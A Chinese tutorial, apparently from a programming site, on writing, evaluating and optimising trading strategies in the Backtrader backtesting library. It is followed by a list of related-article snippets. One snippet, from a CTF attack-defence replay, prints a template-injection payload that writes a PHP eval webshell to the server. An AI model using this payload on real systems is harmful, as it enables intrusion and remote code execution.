Backtrader系列教程⑥:策略篇
今天的《策略篇》先会对 Strategy 常规策略实现操作做一个汇总,然后再介绍一种更为简单的策略实现方式——信号策略;还会重点介绍策略收益评价指标的生成方式;最后会介绍策略参数优化功能。
通过 Strategy 类开发策略
从《Backtrader 来了~》到现在,相信大家对 Backtrader 中的 Strategy 策略类应该不再陌生了,知道策略逻辑都写在 Strategy 类里,还知道 Strategy 类里有__init__() 、next() 、notify_order()、notify_trade() 等方法,有各式各样的交易函数,有各式各样的查询函数,下面就将这些内容做一个汇总:
import backtrader as bt # 导入 Backtrader
# 创建策略
class MyStrategy(bt.Strategy):
# 初始化策略参数
params = (
(...,...), # 最后一个“,”最好别删!
)
# 日志打印:参考的官方文档
def log(self, txt, dt=None):
'''构建策略打印日志的函数:可用于打印订单记录或交易记录等'''
dt = dt or self.datas[0].datetime.date(0)
print('%s, %s' % (dt.isoformat(), txt))
# 初始化函数
def __init__(self):
'''初始化属性、计算指标等'''
# 指标计算可参考《backtrader指标篇》
self.add_timer() # 添加定时器
pass
# 整个回测周期上,不同时间段对应的函数
def start(self):
'''在回测开始之前调用,对应第0根bar'''
# 回测开始之前的有关处理逻辑可以写在这里
# 默认调用空的 start() 函数,用于启动回测
pass
def prenext(self):
'''策略准备阶段,对应第1根bar-第 min_period-1 根bar'''
# 该函数主要用于等待指标计算,指标计算完成前都会默认调用prenext()空函数
# min_period 就是 __init__ 中计算完成所有指标的第1个值所需的最小时间段
pass
def nextstart(self):
'''策略正常运行的第一个时点,对应第 min_period 根bar'''
# 只有在 __init__ 中所有指标都有值可用的情况下,才会开始运行策略
# nextstart()只运行一次,主要用于告知后面可以开始启动 next() 了
# nextstart()的默认实现是简单地调用next(),所以next中的策略逻辑从第 min_period根bar就已经开始执行
pass
def next(self):
'''策略正常运行阶段,对应第min_period+1根bar-最后一根bar'''
# 主要的策略逻辑都是写在该函数下
# 进入该阶段后,会依次在每个bar上循环运行next函数
# 查询函数
print('当前持仓量', self.getposition(self.data).size)
print('当前持仓成本', self.getposition(self.data).price)
# self.getpositionbyname(name=None, broker=None)
print('数据集名称列表',getdatanames())
data = getdatabyname(name) # 根据名称返回数据集
# 常规下单函数
self.order = self.buy( ...) # 买入、做多 long
self.order = self.sell(...) # 卖出、做空 short
self.order = self.close(...) # 平仓 cover
self.cancel(order) # 取消订单
# 目标下单函数
# 按目标数量下单
self.order = self.order_target_size(target=size)
# 按目标金额下单
self.order = self.order_target_value(target=value)
# 按目标百分比下单
self.order = self.order_target_percent(target=percent)
# 订单组合
brackets = self.buy_bracket()
brackets = self.sell_bracket()
pass
def stop(self):
'''策略结束,对应最后一根bar'''
# 告知系统回测已完成,可以进行策略重置和回测结果整理了
pass
# 打印回测日志
def notify_order(self, order):
'''通知订单信息'''
pass
def notify_trade(self, trade):
'''通知交易信息'''
pass
def notify_cashvalue(self, cash, value):
'''通知当前资金和总资产'''
pass
def notify_fund(self, cash, value, fundvalue, shares):
'''返回当前资金、总资产、基金价值、基金份额'''
pass
def notify_store(self, msg, *args, **kwargs):
'''返回供应商发出的信息通知'''
pass
def notify_data(self, data, status, *args, **kwargs):
'''返回数据相关的通知'''
pass
def notify_timer(self, timer, when, *args, **kwargs):
'''返回定时器的通知'''
# 定时器可以通过函数add_time()添加
pass
# 各式各样的交易函数和查询函数:请查看《交易篇(上)》和《交易篇(下)》
......
# 将策略添加给大脑
cerebro.addstrategy(MyStrategy)
......
基于交易信号直接生成策略
除了在 Strategy 类中编写策略外,追求 “极简” 的 Backtrader 还给大家提供了一种更为简单的策略生成方式,这种方式不需要定义 Strategy 类,更不需要调用交易函数,只需计算信号 signal 指标,然后将其 add_signal 给大脑 Cerebro 即可,Cerebro 会自动将信号 signal 指标转换为交易指令,通常可以将这类策略称为信号策略 SignalStrategy 。下面以官方文档中的例子介绍信号策略生成方式:
add_signal(signal type, signal class, arg) 中的参数说明:
第 1 个参数:信号类型,分为 2 大类,共计 5 种信号类型:
开仓类:
- step1:自定义交易信号,交易信号和一般的指标相比的区别只在于:交易信号指标在通过 add_signal 传递给大脑后,大脑会将其转换为策略,所以在自定义交易信号时直接按照 Indicator 指标定义方式来定义即可(具体可以参考之前的《指标篇》)。定义时需要声明信号 'signal' 线,信号指标也是赋值给 'signal' 线;
- step2:按常规方式,实例化大脑 cerebro、加载数据、通过 add_signal 添加交易信号线 ;
- 备注1:信号策略每次下单的成交量取的是 Sizer 模块中的 FixedSize,默认成交 1 单位的标的,比如 1 股、1 张合约等;
- 备注2:生成的是市价单 Market,订单在被取消前一直都有效。
import backtrader as bt # 自定义信号指标 class MySignal(bt.Indicator): lines = ('signal',) # 声明 signal 线,交易信号放在 signal line 上 params = (('period', 30),) def __init__(self): self.lines.signal = self.data - bt.indicators.SMA(period=self.p.period) # 实例化大脑 cerebro = bt.Cerebro() # 加载数据 data = bt.feeds.OneOfTheFeeds(dataname='mydataname') cerebro.adddata(data) # 添加交易信号 cerebro.add_signal(bt.SIGNAL_LONGSHORT, MySignal, period=xxx) cerebro.run()
支持添加多条交易信号:
import backtrader as bt # 定义交易信号1 class SMACloseSignal(bt.Indicator): lines = ('signal',) params = (('period', 30),) def __init__(self): self.lines.signal = self.data - bt.indicators.SMA(period=self.p.period) # 定义交易信号2 class SMAExitSignal(bt.Indicator): lines = ('signal',) params = (('p1', 5), ('p2', 30),) def __init__(self): sma1 = bt.indicators.SMA(period=self.p.p1) sma2 = bt.indicators.SMA(period=self.p.p2) self.lines.signal = sma1 - sma2 # 实例化大脑 cerebro = bt.Cerebro() # 加载数据 data = bt.feeds.OneOfTheFeeds(dataname='mydataname') cerebro.adddata(data) # 添加交易信号1 cerebro.add_signal(bt.SIGNAL_LONG, MySignal, period=xxx) # 添加交易信号2 cerebro.add_signal(bt.SIGNAL_LONGEXIT, SMAExitSignal, p1=xxx, p2=xxx) cerebro.run()
信号指标取值与多空信号对应关系:
- signal 指标取值大于0 → 对应多头 long 信号;
- signal 指标取值小于0 → 对应空头 short 信号;
- signal 指标取值等于0 → 不发指令;
- bt.SIGNAL_LONGSHORT:
- 多头信号和空头信号都会作为开仓信号;
- 对于多头信号,如果之前有空头仓位,会先对空仓进行平仓 close,再开多仓;
- 空头信号也类似,会在开空仓前对多仓进行平仓 close。
- bt.SIGNAL_LONG:
- 多头信号用于做多,空头信号用于平仓 close;
- 如果系统中同时存在 LONGEXIT 信号类型,SIGNAL_LONG 中的空头信号将不起作用,将会使用 LONGEXIT 中的空头信号来平仓多头,如上面的多条交易信号的例子。
- bt.SIGNAL_SHORT:
- 空头信号用于做空,多头信号用于平仓;
- 如果系统中同时存在 SHORTEXIT 信号类型,SIGNAL_SHORT 中的多头信号将不起作用,将会使用 SHORTEXIT 中的多头信号来平仓空头。
平仓类:
- bt.SIGNAL_LONGEXIT:接收空头信号平仓多头;
- bt.SIGNAL_SHORTEXIT:接收多头信号平仓空头;
- 上述 2 种信号类型主要用于确定平仓信号,在下达平仓指令时,优先级高于上面开仓类中的信号。
- 第 2 个参数:定义的信号指标类的名称,比如案例中的 SMACloseSignal 类 和 SMAExitSignal 类,直接传入类即可,不需要将类进行实例化;
- 第 3 个参数:对应信号指标类中的参数 params,直接通过 period=xxx 、p1=xxx, p2=xxx 形式修改参数取值。
关于订单累计和订单并发:
由于交易信号指标通常只是技术指标之间进行加减得到,在技术指标完全已知的情况下,很容易连续不断的生成交易信号,进而连续不断的生成订单,这样就容易出现如下 2 种情况:
- 积累 Accumulation:即使已经在市场上,信号也会产生新的订单,进而增加市场的头寸;
- 并发 Concurrency:新订单会并行着生成,而不是等待其他订单的执行完再后依次执行。
可通过如下 2 个函数来控制上述 2 种情况的发生:
cerebro.signal_accumulate(True)
cerebro.signal_concurrency(True)
# True 表示允许其发生, False 表示不允许其发生
如何返回策略收益评价指标
回测完成后,通常需要计算此次回测的各项收益评价指标,据此判断策略的好坏表现,在 Backtrader 中,有专门负责回测收益评价指标计算的模块 analyzers,大家可以将其称为“策略分析器”。关于 analyzers 支持内置的指标分析器的具体信息可以参考官方文档 Backtrader ~ Analyzers Reference 。分析器的使用主要分为 2 步:
- 第一步:通过 addanalyzer(ancls, _name, *args, **kwargs) 方法将分析器添加给大脑,ancls 对应内置的分析器类,后面是分析器各自支持的参数,添加的分析器类 ancls 在 cerebro running 区间会被实例化,并分配给 cerebro 中的每个策略,然后分析每个策略的表现,而不是所有策略整体的表现 ;
- 第二步:分别基于results = cerebro.run() 返回的各个对象 results[x] ,提取该对象 analyzers 属性下的各个分析器的计算结果,并通过 get_analysis() 来获取具体值。
- 说明:addanalyzer() 时,通常会通过 _name 参数对分析器进行命名,在第二步获取分析器结果就是通过_name 来提取的。
...... # 添加分析指标 # 返回年初至年末的年度收益率 cerebro.addanalyzer(bt.analyzers.AnnualReturn, _name='_AnnualReturn') # 计算最大回撤相关指标 cerebro.addanalyzer(bt.analyzers.DrawDown, _name='_DrawDown') # 计算年化收益:日度收益 cerebro.addanalyzer(bt.analyzers.Returns, _name='_Returns', tann=252) # 计算年化夏普比率:日度收益 cerebro.addanalyzer(bt.analyzers.SharpeRatio, _name='_SharpeRatio', timeframe=bt.TimeFrame.Days, annualize=True, riskfreerate=0) # 计算夏普比率 cerebro.addanalyzer(bt.analyzers.SharpeRatio_A, _name='_SharpeRatio_A') # 返回收益率时序 cerebro.addanalyzer(bt.analyzers.TimeReturn, _name='_TimeReturn') # 启动回测 result = cerebro.run() # 提取结果 print("--------------- AnnualReturn -----------------") print(result[0].analyzers._AnnualReturn.get_analysis()) print("--------------- DrawDown -----------------") print(result[0].analyzers._DrawDown.get_analysis()) print("--------------- Returns -----------------") print(result[0].analyzers._Returns.get_analysis()) print("--------------- SharpeRatio -----------------") print(result[0].analyzers._SharpeRatio.get_analysis()) print("--------------- SharpeRatio_A -----------------") print(result[0].analyzers._SharpeRatio_A.get_analysis()) ......
各个分析器的结果通常以 OrderedDict 字典的形式返回,如下所示,大家可以通过 keys 取需要的 values:
AutoOrderedDict([('len', 56), ('drawdown', 8.085458202746946e-05), ('moneydown', 8.08547225035727), ('max', AutoOrderedDict([('len', 208), ('drawdown', 0.00015969111320873712), ('moneydown', 15.969112889841199)]))]) # 常用指标提取 analyzer = {} # 提取年化收益 analyzer['年化收益率'] = result[0].analyzers._Returns.get_analysis()['rnorm'] analyzer['年化收益率(%)'] = result[0].analyzers._Returns.get_analysis()['rnorm100'] # 提取最大回撤 analyzer['最大回撤(%)'] = result[0].analyzers._DrawDown.get_analysis()['max']['drawdown'] * (-1) # 提取夏普比率 analyzer['年化夏普比率'] = result[0].analyzers._SharpeRatio_A.get_analysis()['sharperatio'] # 日度收益率序列 ret = pd.Series(result[0].analyzers._TimeReturn.get_analysis())
除了上面提到的这些内置分析器外,Backtrader 当然还支持自定义分析器(不然就不符合 Backtrader style 了)。凡是涉及到自定义的操作,遵循的都是“在继承了 xxx 原始父类的基础上,在新的子类里自定义相关属性和方法”,比如《数据篇》中通过继承数据加载父类 bt.feeds.PandasData 等自定义数据加载函数、《指标篇》中在通过继承 bt.Indicator 自定义指标、《交易篇(上)》中通过继承 bt.CommInfoBase 自定义交易费用函数...... 不过,自定义分析器的过程与今天《策略篇》最开始介绍的定义策略函数是最相似的,分析器毕竟是用来分析整个回测的,既涉及过程,又涉及结果,所以继承的 bt.Analyzer 父类中的方法和相应的运行逻辑和策略中的基本一致:
import backtrader as bt # 导入 Backtrader # 创建分析器 class MyAnalyzer(bt.Analyzer): # 初始化参数:比如内置分析器支持设置的那些参数 params = ( (...,...), # 最后一个“,”最好别删! ) # 初始化函数 def __init__(self): '''初始化属性、计算指标等''' pass # analyzer与策略一样,都是从第0根bar开始运行 # 都会面临 min_period 问题 # 所以都会通过 prenext、nextstart 来等待 min_period 被满足 def start(self): pass def prenext(self): pass def nextstart(self): pass def next(self): pass def stop(self): # 一般对策略整体的评价指标是在策略结束后开始计算的 pass # 支持与策略一样的信息打印函数 def notify_order(self, order): '''通知订单信息''' pass def notify_trade(self, trade): '''通知交易信息''' pass def notify_cashvalue(self, cash, value): '''通知当前资金和总资产''' pass def notify_fund(self, cash, value, fundvalue, shares): '''返回当前资金、总资产、基金价值、基金份额''' pass def get_analysis(self): pass # 官方提供的 SharpeRatio 例子 class SharpeRatio(Analyzer): params = (('timeframe', TimeFrame.Years), ('riskfreerate', 0.01),) def __init__(self): super(SharpeRatio, self).__init__() self.anret = AnnualReturn() def start(self): # Not needed ... but could be used pass def next(self): # Not needed ... but could be used pass def stop(self): retfree = [self.p.riskfreerate] * len(self.anret.rets) retavg = average(list(map(operator.sub, self.anret.rets, retfree))) retdev = standarddev(self.anret.rets) self.ratio = retavg / retdev def get_analysis(self): return dict(sharperatio=self.ratio)
下面是在 Backtrader 社区中找到的自定义分析器,用于查看每笔交易盈亏情况:
- 地址:https://community.backtrader.com/topic/1274/closed-trade-list-including-mfe-mae-analyzer;
- 该案例涉及到 trade 对象的相关属性,具体可以参考官方文档:https://www.backtrader.com/docu/trade/ 。
class trade_list(bt.Analyzer): def __init__(self): self.trades = [] self.cumprofit = 0.0 def notify_trade(self, trade): if trade.isclosed: brokervalue = self.strategy.broker.getvalue() dir = 'short' if trade.history[0].event.size > 0: dir = 'long' pricein = trade.history[len(trade.history)-1].status.price priceout = trade.history[len(trade.history)-1].event.price datein = bt.num2date(trade.history[0].status.dt) dateout = bt.num2date(trade.history[len(trade.history)-1].status.dt) if trade.data._timeframe >= bt.TimeFrame.Days: datein = datein.date() dateout = dateout.date() pcntchange = 100 * priceout / pricein - 100 pnl = trade.history[len(trade.history)-1].status.pnlcomm pnlpcnt = 100 * pnl / brokervalue barlen = trade.history[len(trade.history)-1].status.barlen pbar = pnl / barlen self.cumprofit += pnl size = value = 0.0 for record in trade.history: if abs(size) < abs(record.status.size): size = record.status.size value = record.status.value highest_in_trade = max(trade.data.high.get(ago=0, size=barlen+1)) lowest_in_trade = min(trade.data.low.get(ago=0, size=barlen+1)) hp = 100 * (highest_in_trade - pricein) / pricein lp = 100 * (lowest_in_trade - pricein) / pricein if dir == 'long': mfe = hp mae = lp if dir == 'short': mfe = -lp mae = -hp self.trades.append({'ref': trade.ref, 'ticker': trade.data._name, 'dir': dir, 'datein': datein, 'pricein': pricein, 'dateout': dateout, 'priceout': priceout, 'chng%': round(pcntchange, 2), 'pnl': pnl, 'pnl%': round(pnlpcnt, 2), 'size': size, 'value': value, 'cumpnl': self.cumprofit, 'nbars': barlen, 'pnl/bar': round(pbar, 2), 'mfe%': round(mfe, 2), 'mae%': round(mae, 2)}) def get_analysis(self): return self.trades
调用时,需要设置 cerebro.run(tradehistory=True):
# 添加自定义的分析指标 cerebro.addanalyzer(trade_list, _name='tradelist') # 启动回测 result = cerebro.run(tradehistory=True) # 返回结果 ret = pd.DataFrame(result[0].analyzers.tradelist.get_analysis()) # 部分结果展示 ref ticker dir datein pricein dateout priceout chng% pnl pnl% size value cumpnl nbars pnl/bar mfe% mae% 0 6586 000612.SZ long 2019-02-01 36.838173 2019-03-01 46.338544 25.79 116351.042167 0.10 12247 4.511571e+05 1.163510e+05 15 7756.74 29.74 0.00 1 6587 000636.SZ long 2019-02-01 172.762500 2019-03-01 236.616875 36.96 329424.720625 0.28 5159 8.912817e+05 4.457758e+05 15 21961.65 52.94 0.00 2 6591 000766.SZ long 2019-02-01 19.804062 2019-03-01 25.163577 27.06 93877.266141 0.08 17516 3.468879e+05 5.396530e+05 15 6258.48 30.20 -0.33 3 6592 000807.SZ long 2019-02-01 23.945099 2019-03-01 31.359917 30.97 264345.664040 0.22 35651 8.536667e+05 8.039987e+05 15 17623.04 36.36 0.00 4 6593 000829.SZ long 2019-02-01 69.728937 2019-03-01 90.499258 29.79 129939.131930 0.11 6256 4.362242e+05 9.339378e+05 15 8662.61 40.43 -0.64 ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 797 7390 600959.SH long 2020-11-02 4.809258 2021-01-04 4.495455 -6.52 -73971.303962 -0.05 235725 1.133662e+06 4.854122e+07 44 -1681.17 5.09 -7.94 798 7445 601717.SH long 2020-12-01 23.003961 2021-01-04 25.823190 12.26 125700.963423 0.08 44587 1.025678e+06 4.866692e+07 23 5465.26 24.30 -4.33 799 7448 603198.SH long 2020-12-01 36.751896 2021-01-04 41.230664 12.19 215057.006417 0.14 48017 1.764716e+06 4.888198e+07 23 9350.30 36.27 -5.69 800 7310 603659.SH long 2020-08-03 105.138155 2021-01-04 116.205444 10.53 322492.512325 0.21 30301 3.185791e+06 4.920447e+07 103 3131.00 21.09 -11.13 801 7395 603816.SH long 2020-11-02 109.871963 2021-01-04 106.540841 -3.03 -97628.521708 -0.06 29308 3.220127e+06 4.910684e+07 44 -2218.83 14.94 -8.55
如何对策略进行参数优化
如果策略的收益表现可能受相关参数的影响,需要验证比较参数不同取值对策略表现的影响,就可以使用 Backtrader 的参数优化功能,使用该功能只需通过 cerebro.optstrategy() 方法往大脑添加策略即可:
class TestStrategy(bt.Strategy): params=(('period1',5), ('period2',10),) #全局设定均线周期 ...... # 实例化大脑 cerebro1= bt.Cerebro(optdatas=True, optreturn=True) # 设置初始资金 cerebro1.broker.set_cash(10000000) # 加载数据 datafeed1 = bt.feeds.PandasData(dataname=data1, fromdate=datetime.datetime(2019,1,2), todate=datetime.datetime(2021,1,28)) cerebro1.adddata(datafeed1, name='600466.SH') # 添加优化器 cerebro1.optstrategy(TestStrategy, period1=range(5, 25, 5), period2=range(10, 41, 10)) # 添加分析指标 # 返回年初至年末的年度收益率 cerebro1.addanalyzer(bt.analyzers.AnnualReturn, _name='_AnnualReturn') # 计算最大回撤相关指标 cerebro1.addanalyzer(bt.analyzers.DrawDown, _name='_DrawDown') # 计算年化收益 cerebro1.addanalyzer(bt.analyzers.Returns, _name='_Returns', tann=252) # 计算年化夏普比率 cerebro1.addanalyzer(bt.analyzers.SharpeRatio_A, _name='_SharpeRatio_A') # 返回收益率时序 cerebro1.addanalyzer(bt.analyzers.TimeReturn, _name='_TimeReturn') # 启动回测 result = cerebro1.run() # 打印结果 def get_my_analyzer(result): analyzer = {} # 返回参数 analyzer['period1'] = result.params.period1 analyzer['period2'] = result.params.period2 # 提取年化收益 analyzer['年化收益率'] = result.analyzers._Returns.get_analysis()['rnorm'] analyzer['年化收益率(%)'] = result.analyzers._Returns.get_analysis()['rnorm100'] # 提取最大回撤(习惯用负的做大回撤,所以加了负号) analyzer['最大回撤(%)'] = result.analyzers._DrawDown.get_analysis()['max']['drawdown'] * (-1) # 提取夏普比率 analyzer['年化夏普比率'] = result.analyzers._SharpeRatio_A.get_analysis()['sharperatio'] return analyzer ret = [] for i in result: ret.append(get_my_analyzer(i[0])) pd.DataFrame(ret) # 优化结果 period1 period2 年化收益率 年化收益率(%) 最大回撤(%) 年化夏普比率 0 5 10 4.024514e-05 4.024514e-03 -0.010175 -140.948647 1 5 20 -3.240455e-06 -3.240455e-04 -0.008839 -229.402157 2 5 30 -1.211110e-05 -1.211110e-03 -0.008674 -236.577612 3 5 40 -1.284502e-05 -1.284502e-03 -0.011886 -370.807650 4 10 10 0.000000e+00 0.000000e+00 -0.000000 NaN 5 10 20 8.568641e-06 8.568641e-04 -0.009392 -282.835125 6 10 30 1.835459e-06 1.835459e-04 -0.008545 -265.568666 7 10 40 -7.817367e-06 -7.817367e-04 -0.013492 -261.387903 8 15 10 -6.560915e-09 -6.560915e-07 -0.017579 -161.893285 9 15 20 -1.857955e-05 -1.857955e-03 -0.009652 -611.196458 10 15 30 -2.226534e-05 -2.226534e-03 -0.008160 -641.959703 11 15 40 1.708522e-05 1.708522e-03 -0.013492 -213.637841 12 20 10 -3.799574e-05 -3.799574e-03 -0.025414 -109.665911 13 20 20 0.000000e+00 0.000000e+00 -0.000000 NaN 14 20 30 -1.398007e-05 -1.398007e-03 -0.010388 -527.518303 15 20 40 6.699340e-06 6.699340e-04 -0.013492 -301.729232 # 策略表现真的是惨不忍睹啊......
- cerebro.optstrategy(strategy, *args, **kwargs):strategy 就是自定义的策略类(比如上例的TestStrategy)、后面*args, **kwargs 对应自定义策略类中 params 中的需要优化的参数的取值(比如上例的period1=range(5, 25, 5), period2=range(10, 41, 10));当有多个参数时,会将各个参数的各个取值进行一一匹配(见上面的输出结果);
- 在进行参数优化时,实例化大脑的时候,有 2 个与参数优化相关的参数:
- optdatas=True:在处理数据时会采用相对节省时间的方式,进而提高优化速度;
- optreturn=True:在返回回测结果时,为了节省时间,只返回与参数优化最相关的内容(params 和 analyzers),而不会返回参数优化不关心的数据(比如 datas, indicators, observers …等);
- 参数优化是基于 multiprocessing 进行多进程处理数据和分析结果的。
*注意:在对于多个标的进行参数优化过程中(比如连续对1000个股票的均线策略寻优),如果对于多进程的cpu使用数量不加限制,会有一定几率出现异常错误的情况,这类错误目前还没找到解决方法。建议是限制cpu的数量,如设置为2或3:
cerebro.run(maxcpus=2)
总结
一路学到现在,Backtrader 策略回测相关内容已经介绍的差不多了,大家可以总结一个属于自己的策略回测常规操作列表(操作框架),下面是公众号简单整理的,主要分“设置回测条件”、“编写交易策略”、“回测结果分析和评价”3 部分内容:
大家可以基于自己的策略操作列表回顾复习今天和之前的文章,来个知识串联。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 13、SpringBoot之配置类@Configuration
01、概述 配置类:在springboot中被Configuration或者SpringBootConfiguration标注的类称之为配置类。 02、作用&目的 在配置类可以定义很多Bean的方法,可以让这些Bean修饰的方式让spring框架加载到ioc容器中去。 03、那为什么会存在配置 方便你…...
2024/4/22 4:15:25 - nodemon
...
2024/4/24 14:44:52 - 解决kali2019.4中文乱码
解决kali2019.4中文乱码 rootkali:~#vim /etc/apt/sources.list #添加阿里云源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contribrootkali:~#apt-get updata && a…...
2024/4/16 22:10:25 - ftp源和NFS
部署yum仓库及NFS共享服务yum仓库服务配置FTP源服务器配置:客户端配置:部署yum软件仓库使用yum工具管理软件包YUM工具概述NFS共享存储服务NFS (网络文件服务)yum仓库服务 YUM概述 YUM (Yellow dog Updater Modified) 基于RPM包构建的软件更新机制可以自动解决依赖关系所有软…...
2024/4/15 8:19:03 - Linux内核内存布局
内核内存布局 64位Linux一般使用48位来表示虚拟地址空间,43位表示物理地址, 通过命令:cat /proc/cpuinfo。 cat /proc/meminfo ARM64架构处理器采用48位物理寻址机制,最大可寻找256TB的物理地址空间。对于目前应用完全足够&a…...
2024/4/19 0:18:40 - 设计模式之适配器模式
适配器模式目录简介类适配器简介及思路代码实现对象适配器简介及思路分析代码实现接口适配器简介及思路分析代码实现适配器模式在SpringMVC框架应用的源码分析仿HandlerAdapter思路分析图代码实现总结总结简介 现实生活中的适配器例子 泰国插座用的是两孔的(欧标&a…...
2024/4/14 18:14:11 - 重点知识学习(7)--[对象克隆]
关于对象克隆这部分, 在之前学习原型模式的时候有整理过一部分; 尚硅谷设计模式学习(5)— [原型模式(Prototype模式),深拷贝与浅拷贝] 文章目录为什么要克隆浅克隆(ShallowClone)深克隆(DeepClone)为什么要克隆 首先明白这样一个问题,它只是引用复制,而不是克隆 User user1 …...
2024/4/7 3:59:11 - 在java中为什么说String是不可变的
如果要了解String的不可变性,可以先在jdk1.8中找到String类的部分源码 public final class Stringimplements java.io.Serializable, Comparable<String>, CharSequence {/** The value is used for character storage. */private final char value[];/** Ca…...
2024/4/14 18:14:01 - DeepLearning:CNN网络学习之LetNet-5解读(论文+分析+代码)
LetNet-5【写在前面】 今天公司有个刚毕业学生一直问深度学习的CNN网络模型相关的问题,LetNet-5虽然简单,但是包含了深度学习CNN模型的基本组成模块,包含(卷积、池化、全连接等结构)为了帮助理解拿了一个最简单的LetNe…...
2024/5/4 10:41:20 - Java并发编程之CountDownLatch知识整理
CountDownLatch是一种同步辅助工具,允许一个或多个线程等待在其他线程中执行的一组操作完成,可以利用它来实现并发执行某些操作。 CountDownLatch 维护了一个计数器,所有线程调用countDown()方法后计数器减1,主线程等到直到计数器…...
2024/4/14 18:14:11 - 稀疏卷积计算
稀疏卷积计算 gemm...
2024/4/18 12:30:47 - 使用python对excel进行读写操作以及高亮单元格
使用python对excel进行读写并高亮单元格数据读取:内容高亮创建sheet页并进行内容写入创建sheet页文件保存后记目前我有一个excel表格,总共有两列若干行,我需要将两列中内容不一样的行进行高亮。经过资料查询发现pandas只能提供excel的数据读取…...
2024/4/18 14:43:42 - 使用 Nacos 存储 Sentinel 规则信息
微信公众号:运维开发故事,作者:郑哥 Sentinel 规则配置,一旦我们重启服务过后,所有的规则都会消失。我们可以通过 Zookeeper , Applo , Nacos 等配置中心将这些规则配置存储起来,让服务重启或者启动多节点的…...
2024/5/4 3:21:50 - J学习日志10(2)-Throwable以及错误
文章目录一.Throwable以及错误一.Throwable以及错误...
2024/4/20 3:20:13 - 搭建dhcp服务,实现ip地址申请分发
DHCP实现: 注意: (1)实现DHCP服务前,先将网络已有DHCP服务,如:vmware中的DHCP关闭,防止冲突 (2)DHCP服务器本身采用静态IP (3)必须配…...
2024/5/5 0:30:26 - python常见运算符
一、Python算术运算符 以下假设变量 a10,变量 b21: 运算符 描述 实例 加 - 两个对象相加 a b 输出结果 31 减 - 得到负数或是一个数减去另一个数 a - b 输出结果 -11 乘 - 两个数相乘或是返回一个被重复若干次的字符串 a * b 输出结果 210 / 除 - x…...
2024/5/4 7:13:26 - awd复现
D盾扫描无结果 漏洞一:自带大马后门 使用方法 漏洞二:前台rce 进行rce wd{if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A} 进行攻击,该payload是直接生成一个c.ph…...
2024/5/4 9:59:48 - pandas数据量过大时卡慢
pandas数据量过大时卡慢 笔者在处理28w行数据,想将数据用python pandas库处理,发现卡住了。 未深入探索pandas机制。临时去掉该库的使用,手动维护一个结果集。...
2024/4/24 21:15:33 - 虚拟地址空间布局架构
内存管理架构 内存管理子系统架构可以分为:用户空间、内核空间及硬件部分3个层面。 用户空间:应用程序使用malloc()申请内存资源/free()释放内存资源。内核空间:内核总是驻留在内存中,是操作系统的一部分。内核空间为内核保留&a…...
2024/4/17 9:33:09 - 《机器学习实战》第二章详细解释及补充:解决回归问题,加州房价预测为例
传送门:《机器学习实战》第二章学习笔记:详细流程分析解释及补充 - 放笔记的地方https://www.lynkii.xyz/?p9...
2024/4/14 18:14:36
最新文章
- 第28章-PPPoE
1. 以太网接入的典型应用 1.1. IP技术的应用与发展 1.2. 以太网接入的典型应用场景之一——大型园区接入的典型应用 2. PPPoE技术的基本原理 2.1. 技术背景 2.2. PPPoE工作原理 2.3. PPPoE的两个阶段:Discovery阶段和PPPSession阶段 2.4. PPPoE的帧结构 2.5. PPPoE…...
2024/5/6 17:34:54 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/5/6 9:38:23 - jQuery(一)
文章目录 1. 基本介绍2.原理示意图3.快速入门1.下载jQuery2.创建文件夹,放入jQuery3.引入jQuery4.代码实例 4.jQuery对象与DOM对象转换1.基本介绍2.dom对象转换JQuery对象3.JQuery对象转换dom对象4.jQuery对象获取数据获取value使用val()获取…...
2024/5/4 22:17:11 - RP2040开发笔记
RP2040 采用合宙的RP2040(板载4MB Flash), 所有开发资料参考官方:树莓派 Pico 中文站...
2024/5/5 23:13:56 - 【外汇早评】美通胀数据走低,美元调整
原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...
2024/5/4 23:54:56 - 【原油贵金属周评】原油多头拥挤,价格调整
原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...
2024/5/4 23:54:56 - 【外汇周评】靓丽非农不及疲软通胀影响
原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...
2024/5/4 23:54:56 - 【原油贵金属早评】库存继续增加,油价收跌
原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...
2024/5/6 9:21:00 - 【外汇早评】日本央行会议纪要不改日元强势
原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...
2024/5/4 23:54:56 - 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响
